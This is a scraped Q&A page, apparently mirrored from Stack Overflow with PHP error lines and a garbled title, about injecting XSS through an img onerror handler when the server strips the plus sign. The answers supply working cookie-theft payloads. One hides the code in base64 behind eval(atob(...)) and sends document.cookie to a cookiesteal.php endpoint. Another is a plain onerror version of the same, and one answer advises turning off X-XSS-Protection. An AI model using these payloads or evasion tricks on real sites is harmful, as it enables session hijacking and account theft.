Warning: file_get_contents(/data/phpspider/zhask/data//catemap/3/html/83.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Javascript 如何在不使用+;_Javascript_Html_Dom_Xss_Onerror - Fatal编程技术网

Javascript 如何在不使用+;

Javascript 如何在不使用+;,javascript,html,dom,xss,onerror,Javascript,Html,Dom,Xss,Onerror,我试图对一个任务进行XSS攻击,注入一些代码,但是服务器设置为剥离大多数HTML标记,但是我能够使用img标记和onerror进行注入。注入时,我似乎无法正确使用语法,因为它会删除字符串append中的“+”(尝试将cookie附加到我正在使用的源代码) 当我在注入后(在inspect元素中)检查这个时,它显示了脚本,但是末尾的加号丢失了。有没有其他方法可以在不使用+的情况下将此cookie附加到img.src 更新: 我在那里得到了加号,现在事件侦听器已经激活。但是我试过使用onerror

我试图对一个任务进行XSS攻击,注入一些代码,但是服务器设置为剥离大多数HTML标记,但是我能够使用
img
标记和onerror进行注入。注入时,我似乎无法正确使用语法,因为它会删除字符串append中的“+”(尝试将cookie附加到我正在使用的源代码)


当我在注入后(在inspect元素中)检查这个时,它显示了脚本,但是末尾的加号丢失了。有没有其他方法可以在不使用+的情况下将此cookie附加到img.src

更新:


我在那里得到了加号,现在事件侦听器已经激活。但是我试过使用onerror、onload和onmouseover,但是没有任何东西激活代码,我没有收到管理员cookie。

尝试使用%2B而不是+

尝试此错误

eval(atob('dmFyIGltZyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2ltZycpOwoJIGltZy5zcmM9J2h0dHA6Ly9sb2NhbGhvc3QvY29va2llc3RlYWwucGhwP2Nvb2tpZT0nKyBkb2N1bWVudC5jb29raWU7'))
我所做的

  • 将代码作为字符串并转换为base64
    btoa()
  • eval可以将sting作为代码执行,但我们需要首先对其进行解码 因此
    eval(atob(“编码代码”)
  • 编码代码

    `var img = document.createElement('img');
         img.src='http://localhost/cookiesteal.php?cookie='+ document.cookie;`
    
    所以你的结局应该是这样的

    <img src="img.gif" onerror="eval(atob('dmFyIGltZyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2ltZycpOwoJIGltZy5zcmM9J2h0dHA6Ly9sb2NhbGhvc3QvY29va2llc3RlYWwucGhwP2Nvb2tpZT0nKyBkb2N1bWVudC5jb29raWU7'))">
    
    
    
    使用


    如果正确编码注入的脚本,它应该可以正常工作

    唯一可能出现的错误是XSS保护处于启用状态。 您可以通过发送响应头来禁用它

    (“X-XSS-Protection”,0)


    您的控制台报告的错误是什么?

    这在获得加号时起到了作用,但现在我显然有一个错误:\onerror函数显然不喜欢它,我不确定为什么仍然会出现错误。我不明白为什么,语法错了吗?当我检查firefox中的元素以查看注入的代码时,它已被注入,但其标记为“ev”(事件侦听器),当我单击它时,它会显示“error”以及onerror函数和注入的代码。您是否看到扩展的代码或加密的代码?事件侦听器正在工作,因此我假设这意味着我有正确的语法。我尝试了onerror、onload、onmouseover,但没有任何东西激活脚本并向我发送管理会话id Cookie检查响应头以查看X-XSS-Protection标志。您使用哪个浏览器进行测试?通过添加console.log语句仔细检查是否调用了OneError。还应使用控制台检查document.cookie中是否存在所需的cookie
    <img src="img.gif" onerror="eval(atob('dmFyIGltZyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2ltZycpOwoJIGltZy5zcmM9J2h0dHA6Ly9sb2NhbGhvc3QvY29va2llc3RlYWwucGhwP2Nvb2tpZT0nKyBkb2N1bWVudC5jb29raWU7'))">
    
    <img src="img.gif" onerror="var img = document.createElement('img'); img.src=encodeURIComponent('http://localhost/cookiesteal.php?cookie='+ document.cookie);">